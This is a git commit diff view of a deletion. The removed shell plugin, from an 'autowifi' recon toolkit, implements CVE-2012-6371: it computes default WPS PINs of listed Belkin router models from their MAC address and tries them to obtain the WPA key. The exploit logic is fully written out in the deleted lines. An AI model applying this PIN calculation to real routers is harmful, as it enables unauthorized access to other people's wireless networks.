diff options
author | lassulus <lass@aidsballs.de> | 2014-12-20 22:26:47 +0100 |
---|---|---|
committer | lassulus <lass@aidsballs.de> | 2014-12-20 22:26:47 +0100 |
commit | 3744f9de8cf4b719c60b07972a36bc5b3fbfc0be (patch) | |
tree | c3e609e03da950c764322c714237fcf68c445048 /recon/autowifi/plugins/11belkin_wps | |
parent | 6dd7a15020aab595e087680a33b719a78ef6c410 (diff) |
throw away the autowifi trash
Diffstat (limited to 'recon/autowifi/plugins/11belkin_wps')
-rwxr-xr-x | recon/autowifi/plugins/11belkin_wps | 40 |
1 files changed, 0 insertions, 40 deletions
diff --git a/recon/autowifi/plugins/11belkin_wps b/recon/autowifi/plugins/11belkin_wps deleted file mode 100755 index d4eb8e37..00000000 --- a/recon/autowifi/plugins/11belkin_wps +++ /dev/null @@ -1,40 +0,0 @@ -#!/bin/sh -# thanks to http://ednolo.alumnos.upv.es/?p=1295G -# for the PoC code -# Calculates the default WPS pin of Belkin Routers and returns the WPA key -# -# Implementation of CVE-2012-6371 - -# works : -# Belkin_N+_XXXXXX 00:22:75:XX:XX:XX F5D8235-4 v1000 -# belkin.XXX 00:1C:DF:XX:XX:XX F5D8231-4 v5000 -# belkin.XXX 09:86:3B:XX:XX:XX F9K1104 v1000 - -cd $(dirname $(readlink -f $0)) -. ../lib/plugin_core -. ../lib/wps -parse_plugin_args "$@" - -check_painmode - -! check_vendor_mac "$VENDOR_MAC" 002275 001CDF 09863B && echo "VENDOR MAC $VENDOR_MAC not affected" && exit 1 - -calc_belkin(){ - PRIVATE_MAC=${1} - - p=$((0x$PRIVATE_MAC % 10000000)) - wps_pin_checksum(){ - pin=$1 - accum=0 - while [ $pin -ne 0 ];do - accum=$((accum + (3 * (pin % 10)) )) - pin=$((pin/10)) - accum=$((accum + pin %10 )) - pin=$((pin/10)) - done - echo $(( (10 - accum % 10) % 10)) - } - printf "%07d%d" $p $(wps_pin_checksum $p) - return 0 -} -try_wps_pin $@ $(calc_belkin ${PRIVATE_MAC}) |